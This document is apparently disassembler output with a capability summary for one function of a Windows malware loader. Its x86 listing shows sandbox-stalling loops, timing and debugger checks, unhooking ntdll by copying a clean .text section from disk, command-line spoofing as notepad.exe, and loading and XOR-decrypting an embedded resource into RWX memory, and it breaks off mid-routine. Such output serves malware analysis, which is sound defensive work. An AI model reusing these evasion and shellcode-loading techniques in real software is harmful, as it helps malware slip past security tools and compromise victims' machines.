Function at 0x4014f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x2e8
call fcn.00402a40
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x74], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x78], eax
mov dword [esp], 0xdac
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x7c], eax
mov dword [esp], 0xdac
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x80], eax
mov dword [esp], 0xdac
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x1c], 0
jmp 0x401614
mov dword [ebp - 0x20], 0
jmp 0x401606
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x1c]
imul ecx, edx, 0x64
mov edx, dword [ebp - 0x7c]
add edx, ecx
mov dword [ebp - 0x2d8], eax
fild dword [ebp - 0x2d8]
mov eax, dword [ebp - 0x20]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x1c]
imul ecx, edx, 0x64
mov edx, dword [ebp - 0x80]
add edx, ecx
mov dword [ebp - 0x2d8], eax
fild dword [ebp - 0x2d8]
mov eax, dword [ebp - 0x20]
fstp dword [edx + eax*4]
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x18
jle 0x40157c
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x22
jle 0x401570
mov dword [ebp - 0x1c], 0
jmp 0x401676
mov dword [ebp - 0x20], 0
jmp 0x40166c
mov eax, dword [ebp - 0x1c]
imul edx, eax, 0x64
mov eax, dword [ebp - 0x7c]
add edx, eax
mov eax, dword [ebp - 0x20]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x1c]
imul edx, eax, 0x64
mov eax, dword [ebp - 0x80]
add edx, eax
mov eax, dword [ebp - 0x20]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x1c]
imul edx, eax, 0x64
mov eax, dword [ebp - 0x84]
add edx, eax
fmulp st(1)
mov eax, dword [ebp - 0x20]
fstp dword [edx + eax*4]
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x18
jle 0x401630
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x22
jle 0x401627
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x84]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x88], eax
mov dword [esp], str.psapi.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x40170f
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x401aeb
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0xc], 0xc
lea edx, [ebp - 0x1ac]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x88]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x24]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x8c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], str.c:windows_system32_ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x90], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call eax
sub esp, 0x18
mov dword [ebp - 0x94], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
call eax
sub esp, 0x14
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x28], 0
jmp 0x401887
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x2e8ba2e9
mov eax, ecx
imul edx
mov eax, edx
sar eax, 2
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
imul eax, eax, 0x16
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0xac], edx
call sub.msvcrt.dll_rand
mov dword [ebp - 0x2d8], eax
fild dword [ebp - 0x2d8]
fld qword [0x405218]
fdivp st(1)
mov eax, dword [ebp - 0xac]
mov dword [esp + 8], eax
fstp qword [esp]
call fcn.00403b50
fstp qword [ebp - 0xb8]
add dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0x3c9
jle 0x40181d
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x8c]
add eax, edx
mov dword [ebp - 0xa0], eax
mov word [ebp - 0x2a], 0
jmp 0x401ad7
mov eax, dword [ebp - 0xa0]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xa0]
lea ecx, [edx + eax]
movzx edx, word [ebp - 0x2a]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
add eax, 0x18
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
mov dword [esp + 4], str..text
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401acc
mov dword [ebp - 0x1cc], 0
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xa4]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x8c]
add edx, ecx
mov ecx, edx
lea edx, [ebp - 0x1cc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov dword [esp], ecx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov dword [ebp - 0x38], 0
mov dword [esp], 0x898
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x30], 0
jmp 0x4019d5
mov dword [ebp - 0x34], 0
jmp 0x4019cb
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x3f28dcd
mov eax, ecx
imul edx
mov eax, edx
sar eax, 7
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x206d
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x30]
imul ecx, edx, 0x64
mov edx, dword [ebp - 0xa8]
add edx, ecx
mov dword [ebp - 0x2d8], eax
fild dword [ebp - 0x2d8]
mov eax, dword [ebp - 0x34]
fstp dword [edx + eax*4]
add dword [ebp - 0x34], 1
cmp dword [ebp - 0x34], 0x18
jle 0x401981
add dword [ebp - 0x30], 1
cmp dword [ebp - 0x30], 0x15
jle 0x401978
mov dword [ebp - 0x30], 0
jmp 0x401a3a
mov dword [ebp - 0x34], 0
jmp 0x401a30
fild dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
imul edx, eax, 0x64
mov eax, dword [ebp - 0xa8]
add edx, eax
mov eax, dword [ebp - 0x34]
fld dword [edx + eax*4]
faddp st(1)
fnstcw word [ebp - 0x2ca]
movzx eax, word [ebp - 0x2ca]
or ah, 0xc
mov word [ebp - 0x2cc], ax
fldcw word [ebp - 0x2cc]
fistp dword [ebp - 0x38]
fldcw word [ebp - 0x2ca]
add dword [ebp - 0x34], 1
cmp dword [ebp - 0x34], 0x18
jle 0x4019ed
add dword [ebp - 0x30], 1
cmp dword [ebp - 0x30], 0x15
jle 0x4019e4
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xa4]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x98]
add edx, ecx
mov ebx, edx
mov edx, dword [ebp - 0xa4]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x8c]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax + 8]
mov ecx, dword [ebp - 0xa4]
mov ebx, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x8c]
add ecx, ebx
mov ebx, ecx
lea ecx, [ebp - 0x1cc]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
movzx eax, word [ebp - 0x2a]
add eax, 1
mov word [ebp - 0x2a], ax
mov eax, dword [ebp - 0xa0]
movzx eax, word [eax + 6]
cmp word [ebp - 0x2a], ax
jb 0x4018c0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0x44], 0
mov dword [esp], 0x2c84
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x3c], 0
jmp 0x401b88
mov dword [ebp - 0x40], 0
jmp 0x401b7e
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x3c]
imul edx, eax, 0x94
mov eax, dword [ebp - 0xc0]
lea ebx, [edx + eax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x40]
mov dword [ebx + edx*4], eax
mov eax, dword [ebp - 0x3c]
imul edx, eax, 0x94
mov eax, dword [ebp - 0xc0]
add edx, eax
mov eax, dword [ebp - 0x40]
mov eax, dword [edx + eax*4]
test eax, eax
jne 0x401b7a
add dword [ebp - 0x44], 1
add dword [ebp - 0x40], 1
cmp dword [ebp - 0x40], 0x24
jle 0x401b20
add dword [ebp - 0x3c], 1
cmp dword [ebp - 0x3c], 0x4c
jle 0x401b17
cmp dword [ebp - 0x44], 0x590
jne 0x401ba1
mov dword [ebp - 0xbc], 1
mov eax, dword [ebp - 0xc0]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x1c8], 0
mov dword [esp + 4], str.NtQueryInformationProcess
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x48], 0xffffffff
add dword [ebp - 0x48], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
mov dword [ebp - 0x2d8], eax
fild dword [ebp - 0x2d8]
fld qword [0x405218]
fdivp st(1)
fstp qword [esp]
call fcn.00403950
fstp qword [ebp - 0xd0]
cmp dword [ebp - 0x48], 0x103
jle 0x401bde
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x1c8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x18
lea edx, [ebp - 0x1c4]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0xc4]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x1c0]
add eax, 0x28
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0x44], str.empty
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0x3c], str.C:windowssystem32_notepad.exe
mov dword [ebp - 0xd8], 0x3b0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
call eax
mov dword [ebp - 0xe0], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xd8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SleepEx]
call eax
sub esp, 8
mov eax, dword [ebp - 0xdc]
call eax
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe4]
sub eax, dword [ebp - 0xe0]
cmp eax, 0x37e
jbe 0x40298d
mov dword [ebp - 0xe8], 0x392
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xec]
call eax
mov dword [ebp - 0xf0], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xe8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SleepEx]
call eax
sub esp, 8
mov eax, dword [ebp - 0xec]
call eax
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xf4]
sub eax, dword [ebp - 0xf0]
cmp eax, 0x360
jbe 0x40298d
mov dword [ebp - 0xf8], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xfc], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x15b6680
mov dword [esp], 0
mov eax, dword [ebp - 0xfc]
call eax
sub esp, 0x10
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
je 0x40298d
mov dword [esp + 4], 0x15b6680
mov eax, dword [ebp - 0xf8]
mov dword [esp], eax
call fcn.00403cd0
sub esp, 8
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xf8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [ebp - 0x100], 0x33c
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.SleepEx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x104], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
call eax
mov dword [ebp - 0x10c], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x100]
mov dword [esp], eax
mov eax, dword [ebp - 0x104]
call eax
sub esp, 8
mov eax, dword [ebp - 0x108]
call eax
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
sub eax, dword [ebp - 0x10c]
cmp eax, 0x30a
jbe 0x40298d
mov dword [ebp - 0x1d0], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.CheckRemoteDebuggerPresent
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x114], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x1d0]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x114]
call eax
sub esp, 8
mov eax, dword [ebp - 0x1d0]
cmp eax, 1
je 0x40298d
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
je 0x40298d
mov dword [esp + 4], 0x54a
mov eax, dword [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [ebp - 0x11c], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.FlsAlloc
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x120], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x120]
call eax
sub esp, 4
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xffffffff
je 0x40298d
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.OpenProcess
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x128], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov dword [esp], 0x1fffff
mov eax, dword [ebp - 0x128]
call eax
sub esp, 0xc
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jne 0x40298d
mov dword [ebp - 0x130], 0x3cc
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.SleepEx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x134], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
call eax
mov dword [ebp - 0x13c], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x130]
mov dword [esp], eax
mov eax, dword [ebp - 0x134]
call eax
sub esp, 8
mov eax, dword [ebp - 0x138]
call eax
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
sub eax, dword [ebp - 0x13c]
cmp eax, 0x39a
jbe 0x40298d
mov dword [ebp - 0x144], 0x3ae
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
call eax
mov dword [ebp - 0x14c], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x144]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SleepEx]
call eax
sub esp, 8
mov eax, dword [ebp - 0x148]
call eax
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
sub eax, dword [ebp - 0x14c]
cmp eax, 0x37c
jbe 0x40298d
mov dword [esp + 4], str.FindResource
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x154], eax
mov eax, str.BQUAWCF
movzx eax, ax
mov dword [esp + 8], str.BQUAWCF
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x154]
call eax
sub esp, 0xc
mov dword [ebp - 0x158], eax
mov dword [esp + 4], str.LoadResource
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x158]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x15c]
call eax
sub esp, 8
mov dword [ebp - 0x160], eax
mov dword [esp + 4], str.SizeofResource
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x164], eax
mov dword [esp + 4], str.VirtualAlloc
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x158]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x164]
call eax
sub esp, 8
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x168]
call eax
sub esp, 0x10
mov dword [ebp - 0x16c], eax
mov dword [esp + 4], str.RtlMoveMemory
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x158]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x164]
call eax
sub esp, 8
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x160]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x16c]
mov dword [esp], eax
mov eax, dword [ebp - 0x170]
call eax
sub esp, 0xc
mov dword [ebp - 0x4c], 0xffffffff
mov dword [esp], 0x320
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x174], eax
add dword [ebp - 0x4c], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x2d8], eax
fild dword [ebp - 0x2d8]
fld qword [0x405218]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x4c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x174]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x4c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x174]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x4c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x174]
add eax, edx
fabs
fstp qword [eax]
cmp dword [ebp - 0x4c], 0x62
jle 0x402310
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x58], 0
lea eax, [ebp - 0x231]
mov ebx, 0x4051b4
mov edx, 0x5d
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x2c5], 0x36d0b435
mov dword [ebp - 0x2c1], 0xef1ff861
mov dword [ebp - 0x2bd], 0xf1007393
mov dword [ebp - 0x2b9], 0xb8d38fce
mov dword [ebp - 0x2b5], 0x918af3ea
mov dword [ebp - 0x2b1], 0x3bf65b30
mov dword [ebp - 0x2ad], 0xf19f9389
mov dword [ebp - 0x2a9], 0x149c5f88
mov dword [ebp - 0x2a5], 0x7f139467
mov dword [ebp - 0x2a1], 0xbd9187f0
mov dword [ebp - 0x29d], 0xbe425bca
mov dword [ebp - 0x299], 0x4424428a
mov dword [ebp - 0x295], 0xc2df18bb
mov dword [ebp - 0x291], 0xe805d3
mov dword [esp], 0x1060
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x178], eax
mov dword [esp], 0x1060
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x5c], 0
jmp 0x4024ff
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x2d8], eax
fild dword [ebp - 0x2d8]
fstp qword [ebp - 0x2d8]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x46
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x2d0], eax
fild dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x5c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x178]
add eax, edx
fdivr qword [ebp - 0x2d8]
fstp qword [eax]
add dword [ebp - 0x5c], 1
cmp dword [ebp - 0x5c], 0x20b
jle 0x402479
mov dword [ebp - 0x5c], 0
jmp 0x40254a
mov eax, dword [ebp - 0x5c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x178]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x5c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x17c]
lea ebx, [edx + eax]
fstp qword [esp]
call fcn.00403b20
fstp qword [ebx]
add dword [ebp - 0x5c], 1
cmp dword [ebp - 0x5c], 0x20b
jle 0x402515
mov dword [esp], 0x3408
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x184], 1
mov dword [ebp - 0x64], 0
jmp 0x4025d1
mov dword [ebp - 0x68], 0
jmp 0x4025c7
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x64]
imul edx, eax, 0x128
mov eax, dword [ebp - 0x180]
lea ebx, [edx + eax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x68]
mov dword [ebx + edx*4], eax
add dword [ebp - 0x68], 1
cmp dword [ebp - 0x68], 0x49
jle 0x402588
add dword [ebp - 0x64], 1
cmp dword [ebp - 0x64], 0x2c
jle 0x40257f
mov dword [ebp - 0x64], 0
jmp 0x402616
mov dword [ebp - 0x68], 0
jmp 0x40260c
mov eax, dword [ebp - 0x64]
imul edx, eax, 0x128
mov eax, dword [ebp - 0x180]
add edx, eax
mov eax, dword [ebp - 0x68]
mov eax, dword [edx + eax*4]
test eax, eax
jne 0x402608
add dword [ebp - 0x60], 1
add dword [ebp - 0x68], 1
cmp dword [ebp - 0x68], 0x49
jle 0x4025e9
add dword [ebp - 0x64], 1
cmp dword [ebp - 0x64], 0x2c
jle 0x4025e0
cmp dword [ebp - 0x60], 0x681
je 0x40262f
mov dword [ebp - 0x184], 0
mov eax, dword [ebp - 0x180]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x50], 0
jmp 0x4026b7
cmp dword [ebp - 0x54], 0x36
jne 0x402682
lea edx, [ebp - 0x231]
mov eax, dword [ebp - 0x50]
add eax, edx
movzx ecx, byte [eax]
lea edx, [ebp - 0x2c5]
mov eax, dword [ebp - 0x54]
add eax, edx
movzx eax, byte [eax]
xor ecx, eax
mov edx, ecx
lea ecx, [ebp - 0x28d]
mov eax, dword [ebp - 0x50]
add eax, ecx
mov byte [eax], dl
mov dword [ebp - 0x54], 0
jmp 0x4026b3
lea edx, [ebp - 0x231]
mov eax, dword [ebp - 0x50]
add eax, edx
movzx ecx, byte [eax]
lea edx, [ebp - 0x2c5]
mov eax, dword [ebp - 0x54]
add eax, edx
movzx eax, byte [eax]
xor ecx, eax
mov edx, ecx
lea ecx, [ebp - 0x28d]
mov eax, dword [ebp - 0x50]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0x54], 1
add dword [ebp - 0x50], 1
mov eax, dword [ebp - 0x50]
cmp eax, 0x5b
jbe 0x402646
mov dword [ebp - 0x50], 0
jmp 0x4028de
